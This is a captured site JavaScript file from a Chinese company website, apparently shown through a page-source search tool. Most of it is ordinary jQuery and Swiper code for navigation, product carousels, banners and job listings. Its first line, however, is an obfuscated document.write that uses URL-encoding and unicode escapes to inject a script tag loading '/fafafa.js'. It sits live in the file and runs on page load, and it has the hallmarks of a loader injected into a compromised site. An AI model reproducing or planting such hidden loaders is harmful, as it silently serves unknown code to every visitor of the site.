PageSourceSearch

https://0523003.cn/upload/js/f2a6293c2ad1476b9ceebb4004e50fc2.js?i…&viewType=p&v=1745315921000&siteType=oper

js 0523003.cn collected 2026-10-09 04:37:58 UTC 8,632 bytes, 293 lines download raw bytes

1<script>document.write(unescape("%3Cscript%20src%3D%22\u002f\u0066\u0061\u0066\u0061\u0066\u0061\u002e\u006a\u0073%22%20type%3D%27text/javascript%27%3E%3C/script%3E"));</script>//top fixed
2$(window).scroll(function () {
3    if ($(window).scrollTop() > 0) {
4        $('#c_navigation_006_P_193-1654650674665').addClass('active')
5        $('#c_navigation_006_P_2918-1723802658304').addClass('active')
6    } else {
7        $('#c_navigation_006_P_193-1654650674665').removeClass('active')
8        $('#c_navigation_006_P_2918-1723802658304').removeClass('active')
9    }
10})
11
12$('#c_navigation_006_P_193-1654650674665').mouseenter(function () {
13    $('#c_navigation_006_P_193-1654650674665').addClass('active')
14}).mouseleave(function () {
15    if ($(window).scrollTop() == 0) {
16        $('#c_navigation_006_P_193-1654650674665').removeClass('active')
17    }
18});
19
20
21$('#c_navigation_006_P_2918-1723802658304 .e_navigationF-25').mouseover(function () {
22    $('#c_navigation_006_P_2918-1723802658304').addClass('hov')
23}).mouseout(function () {
24
25        $('#c_navigation_006_P_2918-1723802658304').removeClass('hov')
26
27});
28
29
30$('#c_navigation_006_P_2918-1723802658304').mouseenter(function () {
31    $('#c_navigation_006_P_2918-1723802658304').addClass('active')
32}).mouseleave(function () {
33    if ($(window).scrollTop() == 0) {
34        $('#c_navigation_006_P_2918-1723802658304').removeClass('active')
35    }
36});
37
38
39//products details
40$(document).ready(function () {
41    $('.sp-wrap').smoothproducts();
42});
43
44
45$(function () {
46  
47    // bottom nav
48    $('.bottom_nav .p_level1Box .p_level1Item').find('.p_level2Box').parents('.p_level1Item').addClass('open');
49
50
51    // search open
52    $('.header .h_head .h_search').click(function () {
53        $('.top_search').stop().slideToggle()
54       $('.top_search').toggleClass('on')
55       $(this).toggleClass('on')
56   })
57
58    // search close
59   $('.top_search .bg').click(function () {
60       $('.top_search').stop().slideUp()
61        $('.top_search').removeClass('on')
62
63    })
64
65    // subnav light
66    var urlName = window.location.pathname;
67    $('.e_container-1 .p_list .p_loopitem .s_title a').each(function () {
68        var urlHref = $(this).attr('href');
69        if (urlName.indexOf(urlHref) >= 0) {
70            $(this).addClass('on');
71            $(this).parent().parent("div").addClass('active');
72        }
73    });
74    if ($(window).width() < 769) {
75        if ($('.e_container-1 .p_list .p_loopitem.active').length > 0) {
76            var left = $('.e_container-1 .p_list .p_loopitem.active').offset().left;
77            console.log(left)
78            console.log($(window).width() / 2)
79            if (left > ($(window).width() / 2)) {
80                $(".e_container-1 .p_list").scrollLeft(left / 2);
81            }
82        }
83    }
84
85    //news noimg
86    $('.Newscon .s_img').find('img').parents('.e_container-5').addClass('hasimg');
87  
88  
89    //join us
90    $('.joblist > .e_container-27 > .p_item').on('click', function () {
91        $(this).parent().siblings('.e_container-14').slideToggle()
92            .parent().siblings('.joblist').children('.e_container-14').slideUp();
93        $(this).parent().parent().toggleClass("j_cur");
94        $(this).parent().parent().siblings('.j_cur').removeClass("j_cur");
95    });
96    $('.position_list > .p_list > .joblist:nth-child(1) > .e_container-27 > .p_item').trigger('click');
97
98
99    //home banner
100    var swiperFlag = false;
101    var wyzVido = new Swiper('.e_bannerA-2 .swiper-container', {
102        autoplay: {
103            delay: 6000,
104            stopOnLastSlide: false,
105            disableOnInteraction: true,
106        },
107        speed: 1200,
108        loop: true,
109        navigation: {
110            nextEl: '.e_bannerA-2 .p_btn_next ',
111            prevEl: '.e_bannerA-2 .p_btn_prev ',
112        },
113        pagination: {
114            el: '.e_bannerA-2 .p_pagenation',
115            clickable: true,
116        },
117        // 切换完毕事件
118        on: {
119            init: function () {
120            },
121            slideChangeTransitionEnd: function () {
122
123                var _this = $('.e_bannerA-2 .swiper-container .swiper-slide').eq(this.activeIndex);
124                // 执行一下
125                if (!swiperFlag) {
126                    swiperFlag = true;
127                } else {
128                    videoSelect(_this);
129                }
130            }
131        }
132    });
133    videoSelect($('.e_bannerA-2 .swiper-container .swiper-slide.swiper-slide-active'));
134
135    function videoSelect(_this) {
136        var cc = _this.find('.videoContent .video').length;
137       // console.log(cc);
138        if (cc) {
139            wyzVido.autoplay.stop();
140            _this.find('.videoContent .video').trigger('play');
141
142            _this.find('video').bind('ended', function () {
143                wyzVido.slideNext();
144                wyzVido.autoplay.start();
145            });
146        }
147    }
148
149
150    //home products list
151      var inproSwiper = new Swiper('.inrepro_con.swiper-container', {
152        autoplay: {
153            delay: 4000,
154            stopOnLastSlide: false,
155            disableOnInteraction: false,
156        },
157        loop: false,
158        slideActiveClass: 'active',
159        initialSlide: 0, //默认显示第几张
160        mousewheel: false,
161        slidesPerView: 3,
162        spaceBetween: 0,
163         slidesPerGroup: 3,
164        speed: 600,
165        observer: true,
166        observeParents: true,
167        watchSlidesVisibility: true,
168        centerInsufficientSlides: true,
169        navigation: {
170            nextEl: '.inrepro_con .swiper-button-next',
171            prevEl: '.inrepro_con .swiper-button-prev',
172        },
173        pagination: {
174            el: '.inpro.swiper-pagination',
175            clickable: true,
176        },
177        breakpoints: {
178            768: {
179                slidesPerView: 2,
180                spaceBetween: 5,
181               slidesPerGroup: 2
182            },
183            1024: {
184                slidesPerView: 2,
185                spaceBetween: 0,
186                slidesPerGroup: 2
187            }
188
189
190        }
191    });
192
193  
194
195
196    //related products
197    var reproSwiper = new Swiper('.repro_con.swiper-container', {
198        autoplay: {
199            delay: 4000,
200            stopOnLastSlide: false,
201            disableOnInteraction: false,
202        },
203        loop: false,
204        slideActiveClass: 'active',
205        initialSlide: 0, //默认显示第几张
206        mousewheel: false,
207        slidesPerView: 5,
208        spaceBetween: 0,
209        speed: 600,
210        observer: true,
211        observeParents: true,
212        watchSlidesVisibility: true,
213        centerInsufficientSlides: true,
214        navigation: {
215            nextEl: '.repro_con .swiper-button-next',
216            prevEl: '.repro_con .swiper-button-prev',
217        },
218        scrollbar: {
219            el: '.repro_con .swiper-scrollbar',
220        },
221        pagination: {
222            el: '.repro_con .swiper-pagination',
223            clickable: true,
224        },
225        breakpoints: {
226            768: {
227                slidesPerView: 2,
228                spaceBetween: 5
229            },
230            1024: {
231                slidesPerView: 3,
232                spaceBetween: 0
233            }
234
235
236        }
237    });
238
239
240    //bottom kf
241    $(window).on("load scroll", function () {
242        var top = $(document).scrollTop(),
243            wHeight = $(window).height();
244        if (top >= 100) {
245            $(".sideBar").fadeIn("fast");
246            $(".wyz-top").fadeIn("fast");
247            $(".wyz").css({
248                "height": 50
249            });
250        } else {
251            $(".sideBar").hide();
252            $(".wyz-top").hide();
253            $(".wyz").removeAttr("style");
254        }
255    });
256    $(".side6").on("click", function () {
257        $("html,body").stop().animate({
258            scrollTop: 0
259        }, 500);
260    });
261    $(".wyz-top").on("click", function () {
262        $("html,body").stop().animate({
263            scrollTop: 0
264        }, 500);
265    });
266
267
268});
269
270
271if ($('.ny_breadcrumb').hasClass('nobanner')) {
272    $('#c_navigation_006_P_2918-1723802658304').addClass('navbai')
273}
274
275
276var video = $('.e_bannerA-2 .videoContent').find('video')
277//判断video存在且在微信中
278if(video.length>0 && isWeixin()){
279        var u = navigator.userAgent;
280        //判断android
281        if(u.indexOf('Android') > -1 || u.indexOf('Linux') > -1){
282                document.addEventListener('WeixinJSBridgeReady', function(){
283                        video[0].play()
284                })
285        //判断iphone
286        }else if(u.indexOf('iPhone') > -1){
287                document.addEventListener('WeixinJSBridgeReady', function(){
288                        video[0].play()
289                })
290        }
291}
292
293<!--0.00012898445129395-->

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.